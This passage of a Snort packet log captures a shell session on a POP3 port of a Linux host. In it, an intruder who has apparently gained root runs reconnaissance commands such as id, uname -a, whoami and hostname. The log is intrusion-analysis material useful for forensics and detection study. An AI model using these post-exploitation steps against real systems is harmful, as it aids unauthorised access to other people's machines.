-> 0:50:56:49:0:66 type:0x800 len:0x47 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12862 IpLen:20 DgmLen:57 DF ***AP*** Seq: 0xE3AAE956 Ack: 0x906FFBC5 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850502 123057798 0A 69 64 3B 0A .id;. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:00.979824 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x69 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:64 TOS:0x0 ID:12144 IpLen:20 DgmLen:91 DF ***AP*** Seq: 0x906FFBC5 Ack: 0xE3AAE95B Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123058298 2850502 75 69 64 3D 30 28 72 6F 6F 74 29 20 67 69 64 3D uid=0(root) gid= 30 28 72 6F 6F 74 29 20 67 72 6F 75 70 73 3D 30 0(root) groups=0 28 72 6F 6F 74 29 0A (root). =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:00.982504 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x56 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12863 IpLen:20 DgmLen:72 DF ***AP*** Seq: 0xE3AAE95B Ack: 0x906FFBEC Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850502 123058298 69 64 3B 20 75 6E 61 6D 65 20 2D 61 3B 20 63 64 id; uname -a; cd 20 2F 3B 0A /;. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:00.987912 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x69 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:64 TOS:0x0 ID:12145 IpLen:20 DgmLen:91 DF ***AP*** Seq: 0x906FFBEC Ack: 0xE3AAE96F Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123058298 2850502 75 69 64 3D 30 28 72 6F 6F 74 29 20 67 69 64 3D uid=0(root) gid= 30 28 72 6F 6F 74 29 20 67 72 6F 75 70 73 3D 30 0(root) groups=0 28 72 6F 6F 74 29 0A (root). =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:01.010220 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12865 IpLen:20 DgmLen:52 DF ***A**** Seq: 0xE3AAE96F Ack: 0x906FFC13 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850505 123058298 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:01.010434 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x88 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:64 TOS:0x0 ID:12146 IpLen:20 DgmLen:122 DF ***AP*** Seq: 0x906FFC13 Ack: 0xE3AAE96F Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123058301 2850505 4C 69 6E 75 78 20 6E 74 65 63 31 36 2D 33 36 20 Linux ntec16-36 32 2E 32 2E 31 37 2D 31 34 20 23 31 20 4D 6F 6E 2.2.17-14 #1 Mon 20 46 65 62 20 35 20 31 38 3A 34 38 3A 35 30 20 Feb 5 18:48:50 45 53 54 20 32 30 30 31 20 69 36 38 36 20 75 6E EST 2001 i686 un 6B 6E 6F 77 6E 0A known. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:01.028261 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12868 IpLen:20 DgmLen:52 DF ***A**** Seq: 0xE3AAE96F Ack: 0x906FFC59 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850507 123058301 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:03.144380 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x49 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12937 IpLen:20 DgmLen:59 DF ***AP*** Seq: 0xE3AAE96F Ack: 0x906FFC59 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850727 123058301 77 68 6F 61 6D 69 0A whoami. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:03.150422 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x47 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:64 TOS:0x0 ID:12147 IpLen:20 DgmLen:57 DF ***AP*** Seq: 0x906FFC59 Ack: 0xE3AAE976 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123058514 2850727 72 6F 6F 74 0A root. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:03.181404 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12940 IpLen:20 DgmLen:52 DF ***A**** Seq: 0xE3AAE976 Ack: 0x906FFC5E Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850730 123058514 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:04.502362 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x4B 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12949 IpLen:20 DgmLen:61 DF ***AP*** Seq: 0xE3AAE976 Ack: 0x906FFC5E Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850868 123058514 68 6F 73 74 6E 61 6D 65 0A hostname. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:04.506678 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x4C 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:64 TOS:0x0 ID:12148 IpLen:20 DgmLen:62 DF ***AP*** Seq: 0x906FFC5E Ack: 0xE3AAE97F Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123058650 2850868 6E 74 65 63 31 36 2D 33 36 0A ntec16-36. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:04.527146 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12951 IpLen:20 DgmLen:52 DF ***A**** Seq: 0xE3AAE97F Ack: 0x906FFC68 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850870 123058650 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:05.783234 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x47 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12956 IpLen:20 DgmLen:57 DF ***AP*** Seq: 0xE3AAE97F Ack: 0x906FFC68 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850995 123058650 71 75 69 74 0A quit. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:05.790581 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x63 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:64 TOS:0x0 ID:12149 IpLen:20 DgmLen:85 DF ***AP*** Seq: 0x906FFC68 Ack: 0xE3AAE984 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123058779 2850995 2F 62 69 6E 2F 73 68 3A 20 71 75 69 74 3A 20 63 /bin/sh: quit: c 6F 6D 6D 61 6E 64 20 6E 6F 74 20 66 6F 75 6E 64 ommand not found 0A . =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:05.828983 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12958 IpLen:20 DgmLen:52 DF ***A**** Seq: 0xE3AAE984 Ack: 0x906FFC89 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850997 123058779 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:06.640377 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x47 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12963 IpLen:20 DgmLen:57 DF ***AP*** Seq: 0xE3AAE984 Ack: 0x906FFC89 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2851084 123058779 65 78 69 74 0A exit. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:06.641785 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x42 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:64 TOS:0x0 ID:12150 IpLen:20 DgmLen:52 DF ***A***F Seq: 0x906FFC89 Ack: 0xE3AAE989 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123058864 2851084 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:06.650475 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12964 IpLen:20 DgmLen:52 DF ***A**** Seq: 0xE3AAE989 Ack: 0x906FFC8A Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2851084 123058864 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:09.301874 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x47 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12970 IpLen:20 DgmLen:57 DF ***AP*** Seq: 0xE3AAE989 Ack: 0x906FFC8A Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2851338 123058864 71 75 69 74 0A quit. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:09.302538 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x36 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:255 TOS:0x0 ID:12153 IpLen:20 DgmLen:40 *****R** Seq: 0x906FFC8A Ack: 0x0 Win: 0x0 TcpLen: 20 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =============================================================================== Snort processed 39 packets. Breakdown by protocol: Action Stats: TCP: 39 (100.000%) ALERTS: 0 UDP: 0 (0.000%) LOGGED: 0 ICMP: 0 (0.000%) PASSED: 0 ARP: 0 (0.000%) IPv6: 0 (0.000%) IPX: 0 (0.000%) OTHER: 0 (0.000%) =============================================================================== Fragmentation Stats: Fragmented IP Packets: 0 (0.000%) Rebuilt IP Packets: 0 Frag elements used: 0 Discarded(incomplete): 0 Discarded(timeout): 0 =============================================================================== TCP Stream Reassembly Stats: TCP Packets Used: 0 (0.000%) Reconstructed Packets: 0 (0.000%) Streams Reconstructed: 0 ===============================================================================